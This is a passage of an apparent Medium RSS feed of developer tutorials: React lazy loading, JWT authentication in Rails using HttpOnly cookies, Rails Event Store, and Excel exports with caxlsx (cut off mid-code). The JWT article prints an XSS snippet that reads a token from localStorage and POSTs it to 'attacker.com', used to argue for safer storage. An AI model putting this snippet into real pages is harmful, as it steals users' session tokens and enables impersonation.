element={&lt;Settings /&gt;} /&gt;<br>  &lt;/Routes&gt;<br>&lt;/Suspense&gt;</pre><p>Now, instead of loading all page code immediately, the application can load the code for a page when the user navigates to it.</p><p>This is particularly useful for large applications containing many modules.</p><h3>Understanding Code Splitting</h3><p>Lazy loading is closely related to <strong>code splitting</strong>.</p><p>Without code splitting, we might have one large JavaScript bundle:</p><pre>main.js<br>│<br>├── Dashboard<br>├── Users<br>├── Reports<br>├── Settings<br>└── Admin</pre><p>With code splitting, the application can be divided into smaller chunks:</p><pre>main.js<br>│<br>├── dashboard.js<br>├── users.js<br>├── reports.js<br>├── settings.js<br>└── admin.js</pre><p>The browser doesn’t necessarily need to download every chunk immediately.</p><p>For example:</p><pre>Application starts<br>       ↓<br>main.js downloaded<br>       ↓<br>User opens Dashboard<br>       ↓<br>dashboard.js downloaded<br>       ↓<br>User opens Reports<br>       ↓<br>reports.js downloaded</pre><p>This allows the initial JavaScript payload to remain smaller.</p><h3>A Real-World Example</h3><p>Imagine an ERP application with modules such as:</p><pre>ERP Application<br>│<br>├── Dashboard<br>├── Sales<br>├── Purchase<br>├── Inventory<br>├── Reports<br>└── Masters</pre><p>A user working primarily in the Purchase module may not need the Reports module during the initial application load.</p><p>Instead of loading everything:</p><pre>import Dashboard from &quot;./Dashboard&quot;;<br>import Sales from &quot;./Sales&quot;;<br>import Purchase from &quot;./Purchase&quot;;<br>import Inventory from &quot;./Inventory&quot;;<br>import Reports from &quot;./Reports&quot;;<br>import Masters from &quot;./Masters&quot;;</pre><p>we can use:</p><pre>const Dashboard = lazy(() =&gt; import(&quot;./Dashboard&quot;));<br>const Sales = lazy(() =&gt; import(&quot;./Sales&quot;));<br>const Purchase = lazy(() =&gt; import(&quot;./Purchase&quot;));<br>const Inventory = lazy(() =&gt; import(&quot;./Inventory&quot;));<br>const Reports = lazy(() =&gt; import(&quot;./Reports&quot;));<br>const Masters = lazy(() =&gt; import(&quot;./Masters&quot;));</pre><p>The application can then load the required module when the user navigates to it.</p><p>This becomes particularly valuable as the number of modules and features grows.</p><h3>Lazy Loading Large Components</h3><p>Lazy loading isn’t limited to entire pages.</p><p>Large components can also be lazy-loaded.</p><p>For example, suppose an application has a complex reporting component:</p><pre>const ReportBuilder = lazy(() =&gt; import(&quot;./ReportBuilder&quot;));</pre><p>Then:</p><pre>&lt;Suspense fallback={&lt;ReportLoader /&gt;}&gt;<br>  &lt;ReportBuilder /&gt;<br>&lt;/Suspense&gt;</pre><p>This can be useful when the component:</p><ul><li>Contains a lot of JavaScript</li><li>Uses large third-party libraries</li><li>Is rarely used</li><li>Is displayed only after a user action</li></ul><p>For example, a report builder, chart editor, rich text editor, or advanced data visualization component can be a good candidate.</p><h3>When Should You Use Lazy Loading?</h3><p>Lazy loading is particularly useful for:</p><h3>1. Route-level components</h3><p>Pages such as:</p><pre>Reports<br>Settings<br>Admin<br>Analytics</pre><p>are good candidates.</p><h3>2. Large components</h3><p>Components containing a significant amount of JavaScript can benefit from lazy loading.</p><h3>3. Rarely used features</h3><p>If only a small percentage of users access a feature, loading it only when needed can make sense.</p><h3>4. Large third-party libraries</h3><p>Some features depend on large libraries that aren’t required everywhere.</p><p>Loading those dependencies only when the feature is used can reduce the initial bundle.</p><h3>When Should You Avoid Lazy Loading?</h3><p>Lazy loading everything is not a good strategy.</p><p>For example, it probably doesn’t make sense to lazy-load a small button:</p><pre>const Button = lazy(() =&gt; import(&quot;./Button&quot;));</pre><p>The additional request and loading complexity may provide little or no benefit.</p><p>You should also be careful with components that are:</p><ul><li>Very small</li><li>Used on almost every page</li><li>Required immediately</li><li>Critical to the initial user experience</li></ul><p>A useful rule is:</p><blockquote><strong><em>Lazy load large or infrequently used features, not every component in your application.</em></strong></blockquote><h3>Handling Loading States</h3><p>A good loading experience is important.</p><p>Instead of showing plain text:</p><pre>&lt;Suspense fallback={&lt;div&gt;Loading...&lt;/div&gt;}&gt;</pre><p>we can create a reusable loader:</p><pre>const PageLoader = () =&gt; {<br>  return &lt;div className=&quot;page-loader&quot;&gt;Loading...&lt;/div&gt;;<br>};</pre><p>Then:</p><pre>&lt;Suspense fallback={&lt;PageLoader /&gt;}&gt;<br>  &lt;Routes&gt;<br>    ...<br>  &lt;/Routes&gt;<br>&lt;/Suspense&gt;</pre><p>The fallback can contain:</p><ul><li>A spinner</li><li>Skeleton UI</li><li>Progress indicator</li><li>Loading animation</li></ul><p>A well-designed loading state makes the delay feel much less noticeable to users.</p><h3>What Happens If Lazy Loading Fails?</h3><p>Lazy loading introduces another possible failure:</p><blockquote><em>What happens if the JavaScript chunk cannot be downloaded?</em></blockquote><p>For example, a user may have:</p><ul><li>An unstable network connection</li><li>A temporary server issue</li><li>A stale cached version of the application</li></ul><p>For production applications, it’s a good idea to consider <strong>Error Boundaries</strong> around lazy-loaded sections so that a failed chunk doesn’t result in an unusable page.</p><p>Conceptually:</p><pre>Lazy component<br>      ↓<br>Chunk requested<br>      ↓<br> ┌────┴────┐<br> ↓         ↓<br>Success   Failure<br> ↓         ↓<br>Render    Error UI</pre><p>This is an important part of making lazy loading production-ready.</p><h3>How to Measure the Improvement</h3><p>We shouldn’t assume that lazy loading improved performance just because the bundle was split.</p><p>We should measure it.</p><p>Some useful tools include:</p><h3>Chrome DevTools</h3><p>The Network tab can help compare:</p><ul><li>JavaScript file sizes</li><li>Number of requests</li><li>Load timing</li><li>Which chunks are loaded initially</li></ul><h3>Lighthouse</h3><p>Lighthouse can provide performance metrics and help identify large JavaScript resources.</p><h3>Bundle Analyzers</h3><p>Bundle analysis tools can help identify which dependencies and modules contribute most to the JavaScript bundle.</p><p>A simple comparison could look like:</p><pre>Before Lazy Loading</pre><pre>Initial JavaScript<br>       ↓<br>2.8 MB<br></pre><pre>After Lazy Loading</pre><pre>Initial JavaScript<br>       ↓<br>1.2 MB</pre><pre>Reports chunk<br>       ↓<br>800 KB</pre><p>These numbers are only examples. In a real application, performance should be measured using actual build output and network conditions.</p><h3>Lazy Loading Images</h3><p>The concept of lazy loading isn’t limited to JavaScript.</p><p>Images can also be lazy-loaded.</p><p>Modern browsers support:</p><pre>&lt;img<br>  src=&quot;product-image.jpg&quot;<br>  loading=&quot;lazy&quot;<br>  alt=&quot;Product&quot;<br>/&gt;</pre><p>This tells the browser that the image can be deferred until it is closer to entering the viewport.</p><p>This can be especially useful for pages containing:</p><ul><li>Product catalogs</li><li>Large galleries</li><li>Long lists</li><li>Articles with many images</li></ul><h3>Lazy Loading and User Experience</h3><p>Performance isn’t only about technical metrics.</p><p>Imagine a user opening an application and waiting several seconds before seeing anything useful.</p><p>Even if the application eventually becomes fast, the initial experience can feel slow.</p><p>Lazy loading allows us to prioritize what the user needs first.</p><p>For example:</p><pre>Initial Load<br>     ↓<br>Application Shell<br>     ↓<br>Dashboard<br>     ↓<br>User interacts<br>     ↓<br>Additional features loaded when required</pre><p>This approach allows the application to focus its resources on the user’s current task.</p><h3>Common Mistakes</h3><p>Here are some mistakes to avoid when implementing lazy loading.</p><h3>1. Lazy loading everything</h3><p>Not every component needs to be lazy-loaded.</p><h3>2. Ignoring loading states</h3><p>Users shouldn’t be left staring at a blank screen.</p><h3>3. Ignoring error handling</h3><p>Chunk-loading failures should be handled gracefully.</p><h3>4. Creating too many small chunks</h3><p>Too much code splitting can introduce unnecessary network overhead.</p><h3>5. Not measuring performance</h3><p>Always verify whether lazy loading actually improves the application’s performance.</p><h3>Lazy Loading vs Prefetching</h3><p>Lazy loading and prefetching solve slightly different problems.</p><p>With lazy loading:</p><pre>User needs feature<br>       ↓<br>Download feature<br>       ↓<br>Display feature</pre><p>With prefetching:</p><pre>Application predicts feature may be needed<br>       ↓<br>Download feature in advance<br>       ↓<br>User requests feature<br>       ↓<br>Feature is already available</pre><p>For example, after loading a Dashboard, an application might preload a Reports page if users commonly navigate there next.</p><p>This can provide a good balance between reducing initial load time and making subsequent navigation faster.</p><h3>Best Practices</h3><p>When implementing lazy loading, keep these points in mind:</p><ol><li>Prefer route-level lazy loading for large applications.</li><li>Use Suspense to provide a meaningful loading state.</li><li>Lazy-load large or infrequently used features.</li><li>Avoid lazy-loading tiny components unnecessarily.</li><li>Handle chunk-loading failures gracefully.</li><li>Monitor your bundle sizes.</li><li>Measure performance before and after the change.</li><li>Consider prefetching for frequently visited features.</li><li>Don’t optimize based only on assumptions — use real performance data.</li></ol><h3>Conclusion</h3><p>Lazy loading is a powerful technique for improving the performance of modern React applications.</p><p>Instead of downloading everything when the application starts, we can split the application into smaller pieces and load those pieces when they are actually needed.</p><p>React’s lazy() and Suspense, combined with code splitting, make this relatively straightforward to implement.</p><p>However, lazy loading shouldn’t be treated as a rule that every component must follow. The best results come from identifying large, expensive, or less frequently used features and loading them at the right time.</p><p>For a small application, the difference may not be significant. But as an application grows with more pages, modules, dependencies, and features, thoughtful lazy loading can help keep the initial experience fast and responsive.</p><p>Ultimately, the goal is simple:</p><blockquote><strong><em>Don’t load everything upfront. Load what the user needs, when they need it.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c079de60864b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure JWT Authentication in Rails Using Devise and HttpOnly Cookies]]></title>
            <link>https://medium.com/@saniyachaudhari07/secure-jwt-authentication-in-rails-using-devise-and-httponly-cookies-c89edfb94c79?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c89edfb94c79</guid>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[cookies]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[authentication]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 10:55:27 GMT</pubDate>
            <atom:updated>2026-06-29T10:55:27.760Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Authentication is one of the first challenges you’ll solve when building a Rails API. If you’ve searched for JWT authentication tutorials, you’ve probably seen the same implementation:</p><ul><li>User logs in.</li><li>Backend generates a JWT.</li><li>Frontend stores the token in localStorage.</li><li>Every API request includes the token in the Authorization header.</li></ul><p>It works, it’s simple, and it’s widely adopted.</p><p>In fact, this was our initial approach as well.</p><p>However, as we started reviewing the security implications, we realized that storing JWTs in localStorage wasn&#39;t the best fit for our application. We wanted the scalability benefits of JWT authentication while reducing the risk of token theft through Cross-Site Scripting (XSS) attacks.</p><p>Instead, we chose a different approach:</p><ul><li><strong>Devise</strong> for validating user credentials</li><li><strong>JWT</strong> for stateless authentication</li><li><strong>HttpOnly cookies</strong> for securely storing the authentication token</li></ul><p>In this article, I’ll explain why we made this decision and walk through the complete implementation in a Rails API-only application with a React frontend.</p><h3>Understanding Traditional JWT Authentication</h3><p>In a typical JWT authentication flow:</p><ol><li>User submits email and password.</li><li>Backend validates credentials.</li><li>Backend generates a JWT token.</li><li>Frontend stores the token in localStorage or sessionStorage.</li><li>Frontend sends the token in the Authorization header for every API request.</li></ol><pre>User Login<br>    ↓<br>Generate JWT<br>    ↓<br>Store in localStorage<br>    ↓<br>Authorization: Bearer &lt;token&gt;<br>    ↓<br>Backend validates token</pre><h3>Advantages</h3><ul><li>Stateless authentication</li><li>Easy to scale</li><li>Works well with APIs and mobile applications</li></ul><p>So why didn’t we use it?</p><h3>Problems with Storing JWT in localStorage</h3><p>The biggest concern isn’t JWT itself.</p><p>The problem is <strong>where the token is stored.</strong></p><p>When a JWT is stored in localStorage, it becomes accessible to any JavaScript running on your page.</p><p>Imagine an attacker successfully injects malicious JavaScript through an XSS vulnerability.</p><p>That script could execute something as simple as:</p><pre>const token = localStorage.getItem(&quot;access_token&quot;);<br>fetch(&quot;https://attacker.com&quot;, {<br>  method: &quot;POST&quot;,<br>  body: token<br>});</pre><p>The attacker now possesses the user’s authentication token and can impersonate that user until the token expires.</p><p>This doesn’t mean localStorage is always wrong. Many applications use it successfully. However, it does increase the impact of a successful XSS attack because the authentication token is directly accessible from JavaScript.</p><p>We wanted to eliminate that risk.</p><h3>Our Solution: HttpOnly Cookies</h3><p>Instead of storing tokens in localStorage, we store them in HttpOnly cookies.</p><pre>User Login<br>    ↓<br>Generate JWT<br>    ↓<br>Store in HttpOnly Cookie<br>    ↓<br>Browser automatically sends cookie<br>    ↓<br>Backend validates token</pre><h3>Benefits</h3><h4>Protection Against XSS</h4><p>HttpOnly cookies cannot be accessed through JavaScript.</p><p>Even if malicious code runs in the browser, it cannot read the authentication token.</p><h4>Automatic Request Handling</h4><p>Browsers automatically include cookies in requests.</p><p>The frontend doesn’t need to manually attach Authorization headers.</p><h4>Cleaner Frontend Code</h4><p>Authentication logic remains primarily on the backend while the frontend focuses on user experience.</p><h3>Architecture Overview</h3><p>Our implementation uses:</p><ul><li>Rails API-only application</li><li>Devise for password authentication</li><li>JWT for stateless authentication</li><li>HttpOnly cookies for token storage</li><li>React frontend with Axios</li></ul><p>Authentication flow:</p><pre>Login Request<br>      ↓<br>Devise validates credentials<br>      ↓<br>Generate JWT<br>      ↓<br>Store JWT in HttpOnly Cookie<br>      ↓<br>Browser stores cookie<br>      ↓<br>Subsequent API requests<br>      ↓<br>Cookie automatically sent<br>      ↓<br>JWT validated<br>      ↓<br>Current user loaded</pre><h3>Step 1: Enable Cookies in Rails API</h3><p>By default, Rails API-only applications don’t include cookie middleware.</p><p>Add the following to application.rb:</p><pre>config.middleware.use ActionDispatch::Cookies<br>config.middleware.use ActionDispatch::Session::CookieStore</pre><p>This allows controllers to read and write cookies.</p><h3>Step 2: Configure CORS</h3><p>When the frontend and backend run on different domains, cookies require credential support.</p><pre>Rails.application.config.middleware.insert_before 0, Rack::Cors do<br>  allow do<br>    origins ENV[&quot;UI_HOST&quot;]<br>    resource &quot;*&quot;,<br>      headers: :any,<br>      methods: %i[get post put patch delete options head],<br>      credentials: true<br>  end<br>end</pre><p>The credentials: true setting is essential for cross-origin cookies.</p><h3>Step 3: Create JWT Token Service</h3><p>Create a service responsible for encoding and decoding JWT tokens.</p><pre>class JwtTokenService<br>  SECRET_KEY = ENV[&quot;JWT_SECRET_KEY&quot;]<br><br>  def self.encode(payload, exp = nil)<br>    payload[:exp] = exp.to_i if exp.present?<br>    JWT.encode(payload, SECRET_KEY)<br>  end<br>  def self.decode(token)<br>    body = JWT.decode(token, SECRET_KEY)[0]<br>    HashWithIndifferentAccess.new(body)<br>  end<br>end</pre><p>This keeps JWT logic isolated and reusable.</p><h3>Step 4: Authenticate Users with Devise</h3><p>Use Devise to validate credentials.</p><pre>user = User.find_by(email: params[:email])<br><br>if user&amp;.valid_password?(params[:password])<br>  # Generate token<br>end</pre><p>Notice that we’re using Devise only for password verification.</p><p>We are not using Devise session authentication.</p><h3>Step 5: Store JWT in an HttpOnly Cookie</h3><p>After successful login:</p><pre>cookies[:access_token] = {<br>  value: token,<br>  httponly: true,<br>  same_site: :lax,<br>  expires: 8.hours.from_now<br>}</pre><p>Important options:</p><ul><li>httponly: Prevents JavaScript access</li><li>same_site: Helps mitigate CSRF attacks</li><li>expires: Controls session lifetime</li><li>secure: Should be enabled in production</li></ul><h3>Step 6: Authenticate Incoming Requests</h3><p>Create a concern that extracts and validates the token.</p><pre>token = cookies[:access_token]<br>decoded_token = JwtTokenService.decode(token)<br>user = User.find_by(id: decoded_token[&quot;user_id&quot;])</pre><p>If the user exists, the request is authenticated.</p><p>Otherwise, return a 401 Unauthorized response.</p><h3>Step 7: Configure Axios</h3><p>The frontend must allow cookies to be sent.</p><pre>axios.create({<br>  baseURL,<br>  withCredentials: true,<br>})</pre><p>Without this configuration, browsers will not include cookies in cross-origin requests.</p><h3>Step 8: Handle Logout</h3><p>During logout, remove the authentication cookie:</p><pre>cookies.delete(:access_token)</pre><p>This immediately invalidates the browser session.</p><h3>Security Considerations</h3><h3>Use HTTPS</h3><p>Always enable:</p><pre>secure: true</pre><p>in production environments.</p><h3>Keep Tokens Short-Lived</h3><p>Our tokens expire after 8 hours, reducing exposure if a cookie is compromised.</p><h3>Use HttpOnly Cookies</h3><p>This prevents token theft through JavaScript-based attacks.</p><h3>Configure SameSite Properly</h3><p>Use:</p><pre>same_site: :lax</pre><p>or stricter settings depending on your application requirements.</p><h3>Conclusion</h3><p>JWT authentication doesn’t have to mean storing tokens in localStorage.</p><p>By combining <strong>Devise</strong> for credential validation, <strong>JWT</strong> for stateless authentication, and <strong>HttpOnly cookies</strong> for secure token storage, we built an authentication system that is both scalable and more secure.</p><p>The browser automatically manages authentication cookies, the backend remains stateless, and the authentication token stays out of JavaScript’s reach.</p><p>If you’re building a Rails API with a React frontend and want the benefits of JWT without exposing tokens to client-side scripts, this approach is a solid choice.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c89edfb94c79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting Started with Rails Event Store in Ruby on Rails]]></title>
            <link>https://medium.com/@saniyachaudhari07/getting-started-with-rails-event-store-in-ruby-on-rails-17b42698b71c?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/17b42698b71c</guid>
            <category><![CDATA[rails]]></category>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[event-driven-architecture]]></category>
            <category><![CDATA[software-architecture]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Thu, 30 Apr 2026 15:04:33 GMT</pubDate>
            <atom:updated>2026-04-30T15:04:33.096Z</atom:updated>
            <content:encoded><![CDATA[<p>When building Rails applications, it’s common to trigger multiple actions from a single operation. For example, creating a user might involve sending emails, logging activity, notifying teams, or updating analytics.</p><p>At first, we often handle this using callbacks, service methods, or audit tables. But as the application grows, this approach starts to break down:</p><ul><li>Business logic becomes tightly coupled with side effects</li><li>Adding new features requires modifying existing code</li><li>Code becomes harder to maintain and test</li></ul><p>This is where <strong>Rails Event Store</strong> comes in.</p><h3>What is Rails Event Store?</h3><p>Rails Event Store is a Ruby library that helps you implement <strong>event-driven architecture</strong> in your Rails application.</p><p>Instead of focusing on <em>what to do</em>, it focuses on <em>what happened</em>.</p><p>In simple terms:</p><ul><li>You record an <strong>event</strong> (e.g., UserCreated)</li><li>You let different parts of the system <strong>react to it independently</strong></li></ul><p>It uses a <strong>Publish–Subscribe (Pub/Sub)</strong> pattern, where:</p><ul><li>A <strong>publisher</strong> emits an event</li><li>Multiple <strong>subscribers</strong> listen and act on it</li></ul><h3>Why Not Traditional Approaches?</h3><p>Let’s look at a common way of writing logic:</p><pre>def create_user<br>  user = User.create!<br>  send_email(user)<br>  log_activity(user)<br>end</pre><p>This works — but it has problems:</p><ul><li>Every new feature requires modifying this method</li><li>Logic becomes tightly coupled</li><li>Harder to test and maintain</li></ul><h3>Other Approaches</h3><p><strong>Callbacks (</strong><strong>after_create)</strong></p><ul><li>Hidden logic</li><li>Hard to debug chains of callbacks</li></ul><p><strong>Manual activity tables</strong></p><ul><li>Duplicate logging logic everywhere</li><li>Becomes messy over time</li></ul><p><strong>Audit gems</strong></p><ul><li>Limited flexibility for custom workflows</li></ul><h3>How Rails Event Store Works</h3><p>Rails Event Store follows the <strong>Pub/Sub model</strong>.</p><pre>Action → Event Published → Multiple Subscribers React</pre><h3>Key Concepts</h3><ul><li><strong>Event</strong> → Represents something that happened</li><li><strong>Publisher</strong> → Emits the event</li><li><strong>Subscriber</strong> → Reacts to the event</li></ul><p>👉 The publisher doesn’t know who is listening, and subscribers don’t know who triggered the event.</p><h3>Event Persistence: Every Event is Stored</h3><p>Unlike callbacks or direct method calls, Rails Event Store does not just trigger subscribers.</p><p>Whenever an event is published, it is also saved in the database.</p><p>Example:</p><pre>UserCreated<br>user_id: 195<br>created_at: 2026–04–30 19:47:35<br>event_id: 342566c4-a3ad…</pre><p>This means your application keeps a historical timeline of business actions.</p><p>For example:</p><ul><li>Which user was created?</li><li>When was it created?</li><li>What request triggered it?</li><li>What IP address made the request?</li></ul><p>This is extremely useful for:</p><p>✅ Auditing<br> ✅ Debugging issues<br> ✅ Tracking user activity<br> ✅ Rebuilding projections<br> ✅ Reprocessing failed subscribers later</p><h3>Installation &amp; Setup</h3><p>Add the gem:</p><pre>bundle add rails_event_store<br>bundle install</pre><p>Generate required tables:</p><pre>rails generate rails_event_store_active_record:migration<br>rails db:migrate</pre><p>Configure Event Store (initializer):</p><pre>Rails.configuration.event_store = RailsEventStore::Client.new</pre><h3>A Simple Working Example</h3><p>Let’s understand this with a simple example: <strong>User Creation</strong></p><h3>Step 1: Define an Event</h3><pre>class UserCreated &lt; RailsEventStore::Event<br>end</pre><h3>Step 2: Publish the Event</h3><pre>class UserService<br>  def create_user(params)<br>    user = User.create!(params)<br>    event = UserCreated.new(data: { user_id: user.id })<br>    Rails.configuration.event_store.publish(event)<br>    user<br>  end<br>end</pre><p>👉 Notice: We are not sending emails or logging here.</p><h3>Step 3: Create Subscribers</h3><p><strong>Send Email</strong></p><pre>class SendWelcomeEmail<br>  def call(event)<br>    user = User.find(event.data[:user_id])<br>    UserMailer.welcome_email(user).deliver_later<br>  end<br>end</pre><p><strong>Log Activity</strong></p><pre>class LogUserCreation<br>  def call(event)<br>    Rails.logger.info(&quot;User created: #{event.data[:user_id]}&quot;)<br>  end<br>end</pre><h3>Step 4: Subscribe to the Event</h3><pre>Rails.configuration.event_store.subscribe(<br>  SendWelcomeEmail.new,<br>  to: [UserCreated]<br>)<br>Rails.configuration.event_store.subscribe(<br>  LogUserCreation.new,<br>  to: [UserCreated]<br>)</pre><h3>How the Flow Works</h3><ol><li>UserService#create_user is called</li><li>User is created</li><li>UserCreated event is published</li><li>Event Store notifies all subscribers</li><li>Each subscriber runs independently</li></ol><ul><li>Email is sent</li><li>Activity is logged</li></ul><p>👉 No direct method calls between them</p><h3>Adding New Features (Without Changing Existing Code)</h3><p>Let’s say you now want to send a Slack notification.</p><p>Just create a new subscriber:</p><pre>class NotifySlack<br>  def call(event)<br>    SlackNotifier.notify(&quot;New user created: #{event.data[:user_id]}&quot;)<br>  end<br>end</pre><p>Subscribe it:</p><pre>Rails.configuration.event_store.subscribe(<br>  NotifySlack.new,<br>  to: [UserCreated]<br>)</pre><p>✅ No changes in UserService<br>✅ No risk of breaking existing functionality</p><h3>Why This Approach is Better</h3><ul><li><strong>Separation of concerns</strong> → Business logic stays clean</li><li><strong>Decoupled system</strong> → Components don’t depend on each other</li><li><strong>Easy to extend</strong> → Add features without modifying existing code</li><li><strong>Better testing</strong> → Test each subscriber independently</li><li><strong>Scalable design</strong> → Fits well with growing applications</li></ul><h3>When Should You Use It?</h3><p>Use Rails Event Store when:</p><ul><li>One action triggers multiple side effects</li><li>Your system is growing</li><li>You want clean and maintainable code</li></ul><p>Avoid it when:</p><ul><li>Your app is very small</li><li>You only have simple CRUD operations</li></ul><h3>Final Thoughts</h3><p>Traditional approaches answer:</p><blockquote><em>“What should happen when this action occurs?”</em></blockquote><p>Rails Event Store answers:</p><blockquote><em>“What just happened in the system?”</em></blockquote><p>That shift — from actions to events — makes your application more flexible, scalable, and easier to maintain.</p><p>If you’re building a system that’s growing in complexity, Rails Event Store is worth exploring. It helps you move from tightly coupled logic to a clean, event-driven design.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17b42698b71c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building Scalable Excel Exports in Rails with caxlsx]]></title>
            <link>https://medium.com/@saniyachaudhari07/building-scalable-excel-exports-in-rails-with-caxlsx-0c154076b2e0?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c154076b2e0</guid>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[excel]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[ruby]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Sun, 29 Mar 2026 06:27:01 GMT</pubDate>
            <atom:updated>2026-03-29T06:27:01.334Z</atom:updated>
            <content:encoded><![CDATA[<p>Exporting data to Excel is a common requirement in many business applications. Teams often need downloadable reports for analytics, audits, or sharing data with stakeholders.</p><p>While CSV files work well for simple exports, they lack advanced capabilities such as styling, multiple sheets, charts, and formulas.</p><p>To overcome these limitations, Rails developers often use the <strong>caxlsx gem</strong>, which allows generating fully featured Excel .xlsx files programmatically.</p><p>In this article, we will explore how to build <strong>scalable Excel exports in Rails using caxlsx</strong>, including styling, charts, worksheets, and performance optimization.</p><h3>1. Why Use caxlsx?</h3><p>The <strong>caxlsx</strong> gem is a Ruby library that allows developers to generate Excel .xlsx files programmatically.</p><p>It is a maintained fork of the original <strong>axlsx</strong> gem and provides powerful features for building complex Excel reports.</p><h3>Key benefits</h3><ul><li>Generate .xlsx files directly from Rails</li><li>Add <strong>styles and formatting</strong></li><li>Create <strong>multiple worksheets</strong></li><li>Add <strong>charts and graphs</strong></li><li>Use <strong>formulas and filters</strong></li><li>Efficiently handle large dataset exports</li></ul><h3>When should you use caxlsx?</h3><p>Example:</p><pre>You should consider using caxlsx when your Excel export requires:<br>• Styled headers or formatted data  <br>• Multiple worksheets  <br>• Charts and visual reports  <br>• Excel formulas  <br>• Large dataset exports</pre><p>This improves <strong>developer relevance</strong>.</p><h3>Installation</h3><p>Add the gem to your Gemfile:</p><pre>bundle add caxlsx</pre><p>Then run:</p><pre>bundle install</pre><h3>2. Basic Excel Export with Styling</h3><p>Let’s start with a simple example that creates an Excel file and applies some basic styling.</p><pre>require &quot;caxlsx&quot;<br>users = User.includes(:role).order(:first_name, :last_name)<br>package = Axlsx::Package.new<br>workbook = package.workbook<br>styles = workbook.styles<br><br>header_style = styles.add_style(<br>      b: true,<br>      alignment: { horizontal: :center },<br>      bg_color: &quot;DDDDDD&quot;<br> )<br><br> workbook.add_worksheet(name: &quot;Users&quot;) do |sheet|<br>          sheet.add_row [ &quot;First Name&quot;, &quot;Last Name&quot;, &quot;Phone Number&quot;, &quot;Email&quot;, &quot;Role&quot; ], style: header_style<br><br>          users.each do |user|<br>            sheet.add_row [<br>              user.first_name,<br>              user.last_name,<br>              user.phone_number,<br>              user.email,<br>              user.role&amp;.name<br>            ]<br>          end<br><br>  sheet.column_widths 20, 20, 20, 30, 25</pre><p>In this example, we create an Excel file and add a worksheet named <strong>Users</strong> using add_worksheet.</p><p>The styles object is used to define formatting. Here, header_style makes the header row <strong>bold</strong>, <strong>center-aligned</strong>, and gives it a <strong>light gray background</strong>.</p><p>The add_row method is used to insert rows into the worksheet. The first row contains the column headers, and the remaining rows are added by iterating through the users collection.</p><p>Finally, column_widths adjusts the column sizes so the data is clearly visible and easier to read.</p><p>Below is the resulting Excel file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9fIWMBQfhj1RVX-4YisUA.png" /></figure><h3>3. Creating Charts and Graphs</h3><p>One of the biggest advantages of Excel over CSV is the ability to include <strong>visual data insights such as charts and graphs</strong>. Charts help present data in a more understandable format and make reports easier to analyze.</p><p>Using the <strong>caxlsx</strong> gem in Ruby, we can generate charts directly inside an Excel file.</p><h3>Example: Creating a Pie Chart</h3><pre>package = Axlsx::Package.new<br>workbook = package.workbook<br><br>workbook.add_worksheet(name: &quot;Summary&quot;) do |sheet|<br>  # Count users by role<br>  role_counts = users.group_by { |u| u.role&amp;.name || &quot;No Role&quot; }.transform_values(&amp;:count)<br><br>  sheet.add_row [&quot;Role&quot;, &quot;Count&quot;], style: header_style<br><br>  role_counts.each do |role_name, count|<br>    sheet.add_row [role_name, count]<br>  end<br><br>  sheet.column_widths 30, 15<br><br>  # Add a pie chart<br>  sheet.add_chart(Axlsx::Pie3DChart, title: &quot;Users by Role&quot;, start_at: &quot;D2&quot;) do |chart|<br>    chart.add_series(<br>      data: sheet[&quot;B2:B#{role_counts.size + 1}&quot;],<br>      labels: sheet[&quot;A2:A#{role_counts.size + 1}&quot;],<br>      title: &quot;User Distribution&quot;,<br>      colors: [&quot;4472C4&quot;, &quot;ED7D31&quot;, &quot;A5A5A5&quot;, &quot;FFC000&quot;, &quot;5B9BD5&quot;, &quot;70AD47&quot;]<br>    )<br>  end<br>end</pre><p>The sheet.add_chart(Axlsx::Pie3DChart, title: &quot;Users by Role&quot;, start_at: &quot;D2&quot;) method creates a <strong>3D pie chart</strong> in the worksheet. The title sets the chart title, and start_at defines where the chart will appear in the sheet.</p><p>Inside the chart block, chart.add_series specifies the chart data. The data option uses the count values, labels uses the role names, and colors assigns different colors to each slice of the pie chart.</p><p>Below is the resulting Excel file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wB8CbK9xTtnvjJ9znEmZkw.png" /></figure><h3>4. Other Useful Excel Features</h3><p>While charts are powerful, Excel exports often require additional capabilities.</p><h3>Multiple Worksheets</h3><p>You can separate different types of data into different sheets.</p><pre>workbook.add_worksheet(name: &quot;Summary&quot;)<br>workbook.add_worksheet(name: &quot;Sales Data&quot;)</pre><p>This helps organize reports clearly.</p><h3>Adding Formulas</h3><p>Excel formulas can be added directly when creating rows.</p><pre>sheet.add_row [&quot;Total&quot;, &quot;=SUM(B2:B10)&quot;]</pre><p>This allows Excel to calculate values dynamically.</p><h3>Filters and Sorting</h3><p>For large datasets, filters make the data easier to explore.</p><pre>sheet.auto_filter = &quot;A1:C50&quot;</pre><p>Users can then filter the data directly within Excel.</p><h3>5. Handling Large Data Efficiently</h3><p>When exporting large datasets, performance becomes important.</p><p>Instead of loading all records at once, use batching.</p><h3>Example using ActiveRecord batching</h3><pre>User.find_each(batch_size: 1000) do |user|<br>  sheet.add_row 